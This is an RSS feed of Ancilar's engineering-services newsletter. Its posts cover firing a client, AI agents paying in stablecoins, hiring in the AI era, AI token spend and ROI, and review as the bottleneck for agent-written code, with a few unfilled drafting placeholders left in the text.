<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Ancilar</title>
        <link>https://paragraph.com/@ancilar</link>
        <description>From blockchain fundamentals to advanced DevOps and Web3 systems, we break down complex tech into practical, developer-friendly insights.</description>
        <lastBuildDate>Fri, 20 Nov 2026 21:01:03 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>Ancilar</title>
            <url>https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/15b807189028402c06591018f343e3af52fb6825ce5d03d1242f43c03d4b0a64.jpg</url>
            <link>https://paragraph.com/@ancilar</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[The client we fired, and the rule it gave us]]></title>
            <link>https://paragraph.com/@ancilar/the-client-we-fired-and-the-rule-it-gave-us</link>
            <guid>stt8Qc1PUP7oxukekBcQ</guid>
            <pubDate>Wed, 18 Nov 2026 12:24:00 GMT</pubDate>
            <description><![CDATA[Engineering services companies do not talk about firing clients. It sounds arrogant, or like an admission that you could not handle a hard account, and nobody wants to scare off the next one. But anyone who has run a services business long enough has done it, and the engagements that get ended on purpose are almost never the difficult ones. Difficult is fine. Difficult clients with real problems and respect for the people solving them are often the best accounts a company has. The engagements...]]></description>
            <content:encoded><![CDATA[<p>Engineering services companies do not talk about firing clients. It sounds arrogant, or like an admission that you could not handle a hard account, and nobody wants to scare off the next one.</p><p>But anyone who has run a services business long enough has done it, and the engagements that get ended on purpose are almost never the difficult ones. Difficult is fine. Difficult clients with real problems and respect for the people solving them are often the best accounts a company has.</p><p>The engagements that get ended are the ones that quietly cost more than they pay. Not in money. In the team. Here is what that kind of engagement looks like, how you recognize it before it costs you, and the rule we built because of it.</p><h3 id="h-what-the-engagement-looks-like" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What the engagement looks like</h3><p>It usually starts well. The contract is good, the logo is useful, the first few weeks are productive. Then a pattern sets in, and it has the same shape almost every time.</p><p>Scope changes every week, always verbally, always after the sprint has started. The decision-maker you were promised turns out to be a committee, and the feature built on Monday is wrong by Friday because someone else had a different idea. Reviews get cancelled, rescheduled, and eventually held without the one person who could approve anything.</p><p>Delays follow, because they have to. And when the delays land, they land on the team. The client’s leadership hears that the engineers were slow, not that the requirements changed four times. The people who did the work get blamed for a decision the client could not hold still long enough to make.</p><p>Every item on that list is survivable on its own. Together, they are a signal that the engagement will not get better, because the problem is not the project. The problem is how the client makes decisions and who they expect to carry the cost when they change their mind.</p><h3 id="h-the-moment-it-becomes-a-decision" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The moment it becomes a decision</h3><p>The point where most founders decide to end an engagement is not the scope, not the delays, and usually not the money. It is the moment someone on the team is made to feel incompetent for executing an instruction they were given.</p><p>That is the line, and it is worth naming clearly, because the temptation is always to wait. The contract is large. The bench is a real cost. Maybe next sprint will be different. And every week you wait, the engineers on the account are learning something about whether their company stands behind them.</p><p>They are usually learning the wrong thing.</p><h3 id="h-what-it-costs-to-end-it" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What it costs to end it</h3><p>The honest version of this story includes the math, because the romantic version skips it.</p><p>Ending a large engagement means revenue gone, engineers on the bench, a hard conversation with a co-founder or a board, and a logo you may have already told prospects about. For a month or two it will feel like a mistake.</p><p>What it buys is less visible and lasts longer. The engineers who were on that account find out, concretely, that the company picked them over the invoice. That is not a thing you can put in a values document. It is a thing people remember when the next hard project comes, and when the next recruiter calls.</p><p>Revenue is replaceable. Most services companies replace a lost account within a quarter or two. An engineer who has learned that nobody will stand behind them is not replaceable, because the ones who leave over this are the ones you could least afford to lose.</p><h3 id="h-the-rule" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The rule</h3><p>The rule is not “fire difficult clients.” The rule is this:</p><p><strong>Nobody on the team absorbs the consequences of a decision the client would not make.</strong></p><p>In practice that means three things, and they belong in the contract and the kickoff, not in a crisis.</p><p><strong>A named owner on the client side, before work starts.</strong> One person who can say yes in a day. If the answer is “the leadership team,” do not sign. This is the single most predictive question in the entire sales process, and most firms are too eager to ask it.</p><p><strong>Every scope change is written, dated, and acknowledged by that owner before anyone writes code.</strong> Not to be bureaucratic. So that when a change costs two weeks, the two weeks are visible, attributed, and nobody’s fault. A written scope change is a decision. A verbal one is a future argument about who is to blame.</p><p><strong>When a client blames the team for the client’s own indecision, the founder takes the call, and it is a short one.</strong> The first time, it is a conversation about the process. The second time, there is no second time.</p><h3 id="h-why-this-matters-if-you-are-choosing-a-partner" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Why this matters if you are choosing a partner</h3><p>If you are a founder evaluating an engineering partner, this is worth understanding from the other side of the table.</p><p>A partner who will take any contract on any terms will also let your project drift, because they have no rules of their own to hold it to. The partner worth hiring is the one who asks you for a named owner before they quote, who writes down every scope change, and who will tell you, politely and early, when a decision is costing you time. That is not inflexibility. That is the discipline that gets things shipped.</p><p>And if you run a services company and you have an account like this right now, the one that pays well and costs you your best people’s weekends and self-respect, the team is the thing to protect. Pick the team. The money comes back. The trust does not.</p><p>That is how we run every engagement at Ancilar: a named owner, written scope, and a team that is treated as yours. If that is the kind of partner you are looking for, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ancilar.com/contact">reach out at </a><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://ancilar.com">ancilar.com</a>.</p><p>What is the one rule your company learned the hard way? Reply and tell me. Every founder has at least one.</p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/826c1db67070906605556a1817da7bb70ce908c205ef3e18dbac5cd09eb532e4.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Mastercard’s AI agents now pay in stablecoins. Here’s what changes]]></title>
            <link>https://paragraph.com/@ancilar/mastercard-s-ai-agents-now-pay-in-stablecoins-here-s-what</link>
            <guid>nI9wRkOP4Q3inWCPV7WD</guid>
            <pubDate>Wed, 11 Nov 2026 12:21:00 GMT</pubDate>
            <description><![CDATA[On Monday Mastercard opened early access to something it calls Agent Pay for Machines. Strip away the branding and it is this: an AI agent can now pay for an API call, a dataset, or a piece of compute with a signed digital voucher, and the money settles in stablecoins on Base, Coinbase’s blockchain, in batches. This follows pilots with Coinbase and Cloudflare, and it builds on an open payment protocol called x402 that has been quietly running under agent-to-agent commerce all year. Mastercard...]]></description>
            <content:encoded><![CDATA[<p>On Monday Mastercard opened early access to something it calls Agent Pay for Machines. Strip away the branding and it is this: an AI agent can now pay for an API call, a dataset, or a piece of compute with a signed digital voucher, and the money settles in stablecoins on Base, Coinbase’s blockchain, in batches.</p><p>This follows pilots with Coinbase and Cloudflare, and it builds on an open payment protocol called x402 that has been quietly running under agent-to-agent commerce all year. Mastercard also bought a stablecoin infrastructure company, BVNK, in August. The network that runs on cards has decided that machines will not pay with cards.</p><p>I have built payment systems on both rails, card and chain, for about a decade. Here is what I think this actually changes, what it does not, and what I would do about it this quarter if I were a founder whose product is going to be bought, or sold, by agents.</p><h3 id="h-what-launched-and-what-didnt" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What launched, and what didn’t</h3><p>It is worth being precise, because the headlines are not.</p><p>What launched is early access, with a handful of partners. An agent holds a wallet with a spending policy. When it wants to buy something, it signs a voucher. The seller verifies the voucher before delivering the service. Payments get batched and settled on-chain in stablecoins. Think of it as a prepaid corporate card for software, where the “card” is a wallet and the “statement” is a public ledger.</p><p>What did not launch is a commercial, general-availability product. Nobody has published dollar volumes. The liability question, who pays when an agent buys the wrong thing, is unresolved. This is a signal of direction, not a finished rail.</p><h3 id="h-why-stablecoins-and-not-cards" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Why stablecoins and not cards</h3><p>The reason is economics, not ideology.</p><p>Chainalysis counted over 138 million x402 payments on Base by mid-October, and 87% of them were under ten cents. A card network cannot process a four-cent transaction; the fixed fees are larger than the payment. Invoicing cannot either; nobody sends an invoice for a single API call. Stablecoins on a cheap chain can, at machine speed, around the clock, with the spend limit written into the wallet itself.</p><p>The other number that matters: the time from an agent getting funded to making its first payment dropped from 73 days early in the year to 18 minutes by October. That is the difference between a demo and infrastructure.</p><p>A caveat Coinbase’s own team volunteered: a quarter or more of that volume is probably agents chasing leaderboards and incentives rather than buying anything real. Discount accordingly. The pattern is real. The volume is early.</p><h3 id="h-what-changes-if-you-sell-software-data-or-compute" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What changes if you sell software, data, or compute</h3><p>If your product has an API, this is a new billing model landing on your doorstep. Today you sell seats, or usage tiers, or you make developers sign up and add a card. With x402-style payments, an agent can hit your endpoint, get a “payment required” response, pay a fraction of a cent, and receive the result, with no account, no invoice, and no sales call.</p><p>That is good news if you have a product that agents want to call. It is a threat if your pricing depends on seats and your competitor starts metering per request. The companies I expect to win here are the ones who make their product the easiest thing for an agent to buy.</p><h3 id="h-what-changes-if-you-build-agents" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What changes if you build agents</h3><p>If you are deploying agents, the wallet just became part of your architecture. Not a payments feature, part of the harness.</p><p>Every agent that can spend needs a budget, an allow-list of approved sellers, a per-transaction cap, and an audit trail of every payment. Cloudflare’s design here is the right mental model: a corporate card issued to a piece of software, with limits the software cannot change. If your agent can spend money and you have not built that layer, you have the same problem as the agent that deleted a database in nine seconds, except this time it is your bank balance.</p><h3 id="h-what-is-still-unsolved" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What is still unsolved</h3><p>A few things I would not pretend are figured out.</p><p><strong>Liability.</strong> When an agent overpays or buys from a fraudulent seller, nobody has settled who eats it. Expect this to be contractual for a while.</p><p><strong>Identity.</strong> How does a seller know which agent, acting for which company, is paying? There are early standards for on-chain agent identity, but adoption is thin. “Know your agent” is coming; it is not here.</p><p><strong>Per-call vs. session.</strong> Paying for each request is simple and expensive. Stripe is pushing a competing model where an agent opens a session and settles once. Both will exist. Your integration should not assume one.</p><p><strong>Regulation.</strong> The US stablecoin rules under the GENIUS Act are due to be finalized by the end of this month. That is good for the rail. It also means compliance is now a real line item, not a future one.</p><h3 id="h-what-i-would-do-this-quarter" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What I would do this quarter</h3><p>Three things, none of them big.</p><ol><li><p><strong>If you sell an API, prototype a metered endpoint.</strong> A single route behind a “payment required” response, accepting stablecoin payments on a testnet. A week of work. You will learn more from that than from any analyst report.</p></li><li><p><strong>If you build agents, add a wallet with a spend policy to your harness design now,</strong> even if the wallet holds nothing. The permission model is the hard part, and it is the same work whether the agent spends dollars or tokens.</p></li><li><p><strong>Talk to your finance and compliance people before you need to.</strong> “Our software has a bank account” is a sentence they should hear from you, not from an incident report.</p></li></ol><p>We happen to sit on both sides of this at Ancilar: we have built stablecoin payment rails and wallets since before anyone called them that, and we build agent harnesses now. If you are trying to work out what agent payments mean for your product, or you want the metered endpoint and the spend-policy wallet built properly, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ancilar.com/contact">reach out at </a><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://ancilar.com">ancilar.com</a>.</p><p>Is your product something an agent would buy, or something an agent would use to buy? Reply and tell me which. I think the answer decides your next year.</p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/593cd5049362434db4fe8234ce097ac01a87e05c495435c607e386ecd45881ce.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[What AI changed about who I hire]]></title>
            <link>https://paragraph.com/@ancilar/what-ai-changed-about-who-i-hire</link>
            <guid>ySMS7ia7ar2Y5h4VjwPu</guid>
            <pubDate>Wed, 04 Nov 2026 12:18:00 GMT</pubDate>
            <description><![CDATA[Ancilar hires [X] engineers a year for our own teams and places [Y] more with clients who need to extend theirs. That gives me a front-row seat to something I think most founders are only half aware of: the engineer worth hiring in 2026 is a different person from the one worth hiring in 2024. Not a better person. A different one. Here is what changed in what I look for, what I stopped looking for, and what did not change at all. I stopped hiring for speed For most of my career, the thing that...]]></description>
            <content:encoded><![CDATA[<p>Ancilar hires [X] engineers a year for our own teams and places [Y] more with clients who need to extend theirs. That gives me a front-row seat to something I think most founders are only half aware of: the engineer worth hiring in 2026 is a different person from the one worth hiring in 2024.</p><p>Not a better person. A different one. Here is what changed in what I look for, what I stopped looking for, and what did not change at all.</p><h3 id="h-i-stopped-hiring-for-speed" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">I stopped hiring for speed</h3><p>For most of my career, the thing that separated a strong engineer from an average one was how fast they could turn a clear requirement into working code. That skill is not worthless now, but it is no longer scarce. Two thirds of developers are using coding agents that produce a feature in minutes, and the gap between a fast typist and a slow one has mostly closed.</p><p>So I stopped weighting it. A candidate who can produce a CRUD service in an hour is telling me they can use a tool. Fine. So can everyone else in the pipeline.</p><h3 id="h-i-started-hiring-for-review-and-judgment" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">I started hiring for review and judgment</h3><p>What I weight now is the thing that got scarce: the ability to read code you did not write, understand it well enough to own it, and find the two lines in a thousand that will cause an outage.</p><p>That sounds like a senior skill, and it mostly is, which is why senior engineers are the hardest hire in the market right now. But it is a specific kind of senior. Not the architect who draws boxes. The engineer who can sit with an agent-generated pull request, ask the right three questions, and either approve it with confidence or send it back with a precise reason. Every team is drowning in review. The person who can clear the queue without rubber-stamping it is worth two people who can fill it.</p><h3 id="h-i-hire-for-production-not-for-models" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">I hire for production, not for models</h3><p>When AI projects started, everyone wanted someone who “knew LLMs.” I hired a couple. It turned out the model knowledge was the easy part, and the hard part was everything we already knew was hard: data pipelines, permissions, monitoring, incident response, keeping a system alive for a year.</p><p>Most AI pilots die on integration and operations, not on the model. So the person I want on an AI project now is the one who has carried a pager, migrated a database under load, and argued with a compliance team about data retention. If they have also shipped an AI feature, great. If they have only shipped AI demos, I would rather take the operations person and teach them the model layer. It takes weeks. The other direction takes years.</p><h3 id="h-i-still-hire-juniors-but-the-ladder-changed" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">I still hire juniors, but the ladder changed</h3><p>There is a popular take that AI killed the junior engineer role. I do not buy it, but the role did change, and companies that keep hiring juniors the old way are setting them up to fail.</p><p>The old junior path was: write small, well-specified pieces of code, get reviewed, learn from the review, grow. If an agent writes the small pieces, that path disappears. So we changed it. Our juniors are paired on review from the first week. They read senior engineers’ pull requests and agent output before they write much of their own. They are asked to explain code, not just produce it. [If you have it: “Our last X junior hires reached independent ownership of a service in Y months, versus Z under the old path.”]</p><p>The junior we want is the one who asks why. The one who is impressed that the agent produced a thousand lines is a problem; the one who is suspicious of it is a future senior.</p><h3 id="h-i-changed-the-interview" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">I changed the interview</h3><p>Our old interview had a take-home project and a whiteboard session. Both are mostly useless now. The take-home measures who has a good agent. The whiteboard measures something nobody does at work anymore.</p><p>What we do instead: a live session where the candidate is allowed to use whatever AI tools they normally use, and we watch how they use them. Do they read what it produced? Do they catch the mistake we planted? Can they explain, in their own words, why the code is structured the way it is? Then we hand them a real pull request from our codebase and ask them to review it. Twenty minutes of that tells me more than a week-long take-home ever did.</p><p>Big Tech has started interviewing with AI in the loop for the same reason. If your process still bans the tools your team uses every day, you are measuring the wrong thing.</p><h3 id="h-what-i-stopped-hiring-for" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What I stopped hiring for</h3><p>Single-framework specialists. The framework will change in eighteen months; I want people who have changed frameworks before. “Prompt engineers” as a job title; it is a skill every engineer needs, not a role. And anyone who cannot explain their own code, with or without AI. If you cannot explain it, you cannot own it, and someone else will be paged for it.</p><h3 id="h-what-did-not-change" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What did not change</h3><p>Curiosity. Ownership. The ability to write a clear sentence to a non-engineer. The instinct to ask “what happens when this fails” before anyone else does. Every great engineer I have hired in twelve years had those, and every one I hire in 2026 still needs them. The tools changed what the hands do. They did not change what the head is for.</p><p>If you are hiring engineers right now and your process is still built for 2024, you are probably paying senior rates for speed you can get from a subscription and missing the judgment you cannot. We place senior, review-capable engineers with teams that need exactly that, and we can also look at your interview loop if it needs rebuilding. <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ancilar.com/contact">Reach out at </a><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://ancilar.com">ancilar.com</a>.</p><p>What is the one interview question that still works for you? Reply and tell me. I’ll share the best ones in a follow-up.</p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/1ca60d6306419c7774cb00959051d063e155f62e14fc5e1dddc83bab7f0e3ed7.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[$8M a month on AI tokens, zero proof of ROI]]></title>
            <link>https://paragraph.com/@ancilar/dollar8m-a-month-on-ai-tokens-zero-proof-of-roi</link>
            <guid>kEFV75p4Zj9PfJFscmEc</guid>
            <pubDate>Wed, 28 Oct 2026 12:16:00 GMT</pubDate>
            <description><![CDATA[A dataset published this week by The Pragmatic Engineer looked at AI tooling spend across 27 companies. The number that stuck with me: one firm is paying around $8 million a month in tokens for roughly 2,000 engineers, and nobody there can show a measurable return. Not “the return is small.” Cannot show one. That company is an outlier in size, not in shape. The same dataset puts the high-spending teams at $1,000 to $3,000 per engineer per month, with spending caps that engineers describe as e...]]></description>
            <content:encoded><![CDATA[<p>A dataset published this week by The Pragmatic Engineer looked at AI tooling spend across 27 companies. The number that stuck with me: one firm is paying around $8 million a month in tokens for roughly 2,000 engineers, and nobody there can show a measurable return. Not “the return is small.” Cannot show one.</p><p>That company is an outlier in size, not in shape. The same dataset puts the high-spending teams at $1,000 to $3,000 per engineer per month, with spending caps that engineers describe as easy to get around, and several leaders expecting bills to rise five to ten times once vendor subsidies and promotional pricing end. G2’s October survey of agent deployments found nearly half of companies already over budget.</p><p>I run an engineering company. We pay these bills too. So this is not a post about whether AI tooling is worth it. I think it is. It is a post about why almost nobody can prove it, and what to do about that before the CFO starts asking.</p><h3 id="h-why-the-bill-grows-faster-than-you-expect" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Why the bill grows faster than you expect</h3><p>Per-seat software was predictable. You knew what a license cost and how many people had one. Tokens are metered, and the meter runs on behavior you do not see.</p><p>An engineer with a coding agent is not making one request. They are launching loops: plan, write, test, fix, retry. Each loop is dozens of model calls, and a loop that gets stuck can run for an hour. Multiply by every engineer, every day, and add the background agents nobody remembers turning on.</p><p>Then there is the cap problem. A $2,000 monthly cap per engineer sounds like control. In practice it means the cap resets, the engineer finds a second tool, or the heaviest users, who are often your most productive people, hit the wall mid-task and stop. Caps limit usage. They do not create value.</p><h3 id="h-why-nobody-can-prove-roi" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Why nobody can prove ROI</h3><p>Three reasons, and I have seen all of them in our own books.</p><p><strong>No baseline.</strong> Most teams rolled out AI tools across the whole org at once. There is no “before” to compare against, so every improvement is anecdotal and every slowdown is blamed on something else.</p><p><strong>No attribution.</strong> The FinOps Foundation reports that the share of cost teams now responsible for AI spend went from about a third to nearly all of them in a year. Most of them can tell you the total. Almost none can tell you which team, which feature, or which workflow it went to. You cannot calculate a return on a cost you cannot assign.</p><p><strong>Wrong metrics.</strong> PR count, lines of code, commits per day. All of these go up with AI tools and none of them are outcomes. If your ROI case is “we ship 40% more pull requests,” your CFO’s next question is whether revenue went up 40%, and you do not want to be in that conversation.</p><h3 id="h-the-caps-trap" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The caps trap</h3><p>Gartner’s analyst on this, Stewart Buchanan, calls the current wave of spending caps a knee-jerk reaction and a “tokenomics trap,” and I think he is right. A cap tells you that leadership noticed the bill. It does not tell you anything about whether the spend is good.</p><p>The teams I see making progress treat tokens the way mature teams treat cloud: not as a thing to cap, but as a thing to attribute, review, and optimize. The playbook already exists. We just have to apply it to a new line item.</p><h3 id="h-what-we-do-instead" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What we do instead</h3><p>This is the setup we have landed on, for ourselves and for clients who have asked us to get their AI spend under control.</p><p><strong>Route everything through a gateway.</strong> One entry point for every model call, with a tag for team, project, and task type. This is a week of work for a small team and it is the foundation for everything else. Uber built this at scale; a startup version is a thin proxy and a tagging convention.</p><p><strong>Attribute, then review monthly.</strong> Spend by team and by feature, reviewed in the same meeting as cloud spend. The first month is usually a surprise. [If you have it: “The first attribution report we ran for a client found X% of spend going to a single stuck workflow nobody had looked at.”]</p><p><strong>Set a baseline on one team before you expand.</strong> Pick one team, measure cycle time, defect escape rate, and time-to-first-review for a month without the tool, then with it. That is your ROI case. It takes six weeks and it is the difference between a number and a feeling.</p><p><strong>Measure outcomes, not output.</strong> Lead time from ticket to production. Incidents per change. Support tickets deflected. Hours of a specific workflow eliminated. These are the metrics a board understands.</p><p><strong>Route by model tier.</strong> Model prices dropped between 20% and 75% in the last six weeks, but only for teams whose architecture can route a request to the cheapest model that will do the job. Default to the small, fast model. Escalate to the expensive one when the task needs it. Most do not.</p><p><strong>Cap loops, not people.</strong> Step limits and token budgets per agent run, with a kill switch. This catches the runaway spend without stopping your best engineers mid-task.</p><h3 id="h-what-a-real-roi-case-looks-like" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What a real ROI case looks like</h3><p>When the baseline and attribution are in place, the story becomes simple. “Team A spends $X a month on AI tools. Their lead time dropped from Y to Z and their incident rate held flat. Here is what that is worth in engineer-hours and shipped features.” That is a sentence a CFO can approve, and one you can defend when the subsidized pricing ends.</p><p>Without it, you are the company paying $8 million a month on a feeling.</p><p>If your AI spend has become a line item nobody can explain, this is work we do at Ancilar: the gateway, the attribution, the baseline, and the routing, usually in a few weeks. <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ancilar.com/contact">Reach out at </a><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://ancilar.com">ancilar.com</a> if you want the bill to come with a business case.</p><p>What is your per-engineer AI spend right now, roughly? Reply with the number. I am collecting them anonymously for a follow-up.</p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/35fd810ec838256dfb8ad1c6544e645aef38d34777bee69f2ea5f2408615d44f.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Code is cheap now. Review is the bottleneck]]></title>
            <link>https://paragraph.com/@ancilar/code-is-cheap-now-review-is-the-bottleneck</link>
            <guid>9EaDTQC1RPaosDJTtCdo</guid>
            <pubDate>Wed, 21 Oct 2026 11:43:11 GMT</pubDate>
            <description><![CDATA[Something shifted in engineering teams this year, and most org charts have not caught up with it. Stack Overflow’s 2026 survey, out this month, found that two thirds of developers now use AI coding agents, not just autocomplete, but tools that write whole features. The same survey found that fewer than 7% trust those tools with important decisions. Both numbers are right. We are generating code faster than ever and trusting it less than ever, and the gap between those two facts lands on one a...]]></description>
            <content:encoded><![CDATA[<p>Something shifted in engineering teams this year, and most org charts have not caught up with it.</p><p>Stack Overflow’s 2026 survey, out this month, found that two thirds of developers now use AI coding agents, not just autocomplete, but tools that write whole features. The same survey found that fewer than 7% trust those tools with important decisions. Both numbers are right. We are generating code faster than ever and trusting it less than ever, and the gap between those two facts lands on one activity: review.</p><p>Review was always the quiet constraint on engineering throughput. Now it is the loud one. Across the teams we work with, [X] the pattern is the same: pull requests are up sharply, review queues are longer, and the senior engineers who used to spend their days building are spending them reading.</p><h3 id="h-the-numbers-behind-the-bottleneck" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The numbers behind the bottleneck</h3><p>A few data points from the past few months, all pointing the same way.</p><p>Anthropic’s own analysis of teams using its coding tools found pull-request review time up roughly 90%. Uber, in a piece published this month, described CI load doubling after agent adoption and declaring an internal “code red” to deal with the queue. CloudBees found that 81% of teams see more production incidents from AI-generated code, and 92% ship it anyway. GitClear’s analysis found the worst code-quality outcomes concentrated among the heaviest AI users.</p><p>Taken together: generation got cheap, verification did not, and teams are shipping past the verification step because the queue is too long to wait on.</p><h3 id="h-why-review-got-harder-not-just-bigger" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Why review got harder, not just bigger</h3><p>If this were only a volume problem, you could solve it with more reviewers. It is not only a volume problem.</p><p>Thoughtworks has started calling the deeper issue “cognitive debt.” Technical debt is code you know is wrong and plan to fix. Cognitive debt is code nobody on the team fully understands, because nobody on the team wrote it. It passes tests. It looks reasonable. And six months later, when it breaks, there is no one who can explain why it was built that way.</p><p>A human-written pull request carries the author’s understanding with it. The reviewer is checking work someone already thought through. An agent-written pull request carries no understanding at all. The reviewer is the first person to think about it. That is not review. That is authorship with worse tooling, and it is why senior engineers tell me they are more tired than when they were writing the code themselves.</p><h3 id="h-what-breaks-first" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What breaks first</h3><p>The failure mode is predictable. The queue grows. Reviewers start skimming. Approval becomes a formality. The incident rate climbs, which creates more work, which lengthens the queue. Somewhere in the middle, a well-meaning manager starts celebrating PR count as a productivity win, which is exactly backwards. PR count is now a measure of how much verification debt you are taking on.</p><p>The teams that have handled this well all did a version of the same thing: they stopped treating review as something that happens after the work and started treating it as the work.</p><h3 id="h-the-review-gate-we-use-now" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The review gate we use now</h3><p>This is what we have put in place across our own teams and the client teams we embed in. None of it is clever. All of it is enforced.</p><p><strong>One named human owner per pull request, who can explain every line.</strong> Not “who prompted the agent.” Who understands the change well enough to be paged for it at 2am. If nobody can, the PR does not merge. This single rule does more than everything else combined.</p><p><strong>Tag every PR by origin and type.</strong> Agent-generated, agent-assisted, or human. Feature, refactor, fix, dependency bump. Uber does this to route CI capacity; we do it to route reviewer attention. A 400-line agent-generated refactor gets a different reviewer than a two-line human fix.</p><p><strong>Small PRs, enforced by tooling.</strong> Agents will happily produce a thousand-line change. Split it or reject it. A reviewer’s accuracy falls off a cliff past a few hundred lines, and it falls faster when they did not write the code.</p><p><strong>Tests and evals are the first reviewer.</strong> The agent writes tests alongside the code, and a human checks the tests before the code. If the tests are wrong, the code does not matter.</p><p><strong>Senior review time is a budget, not a favor.</strong> We block it on the calendar like any other deliverable. If a senior engineer’s week is 60% review, the plan says 60% review, and the feature estimates reflect it.</p><p><strong>Measure defect escape rate and review latency, not throughput.</strong> How many changes caused incidents within thirty days of merge. How long a PR waits for a first review. Those two numbers tell you whether the gate is working. PR count tells you nothing.</p><h3 id="h-what-this-means-for-your-team" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What this means for your team</h3><p>The honest implication is that the ratio of your team has changed. You need fewer people generating code and more people who can read, question, and own it. That is a senior-heavy shape, and it is the opposite of what most startups are built as.</p><p>It also changes what you hire for. The engineer who can produce a feature in an afternoon is now the cheap one. The engineer who can look at a thousand lines they did not write, find the two that will cause an outage, and explain why, is the one everybody is short of. [If you have it: “Across our recent placements, X of the last Y requests were for review-capable senior engineers, up from Z a year ago.”]</p><p>Code is cheap. Judgment is not. Organize around the one that is scarce.</p><p>If your review queue has become the thing your roadmap waits on, we have spent this year building the gate above into teams of every size, and we also place senior engineers whose job is specifically to carry review and architecture while your team ships. <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ancilar.com/contact">Reach out at </a><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://ancilar.com">ancilar.com</a> if either would help.</p><p>What is your median time-to-first-review right now? Reply with the number. I’m building a benchmark.</p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/a1f5d712185f356013fdb55e9a7ad615e9e9a4ef08a34a941de2fd2459e24c70.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Tokenized RWAs Passed Every DEX On-Chain. We Break Down What's Next.]]></title>
            <link>https://paragraph.com/@ancilar/tokenized-rwas-passed-every-dex-on-chain-we-break-down-whats-next</link>
            <guid>c8vB2wqRyruhSRxuOW2Z</guid>
            <pubDate>Fri, 07 Aug 2026 07:36:32 GMT</pubDate>
            <description><![CDATA[Real-world asset protocols just overtook decentralized exchanges. According to DefiLlama, RWAs became the fifth-largest category in DeFi by total value locked, passing DEXs, with the category sitting around $17 billion at the crossover and climbing past $30 billion into 2026. At the start of 2025 RWAs were not even in the top ten. Tokenized Treasuries led the charge, crossing $10 billion for the first time on February 11, 2026. Tokenized commodities, stocks, and ETFs followed. It is a real mi...]]></description>
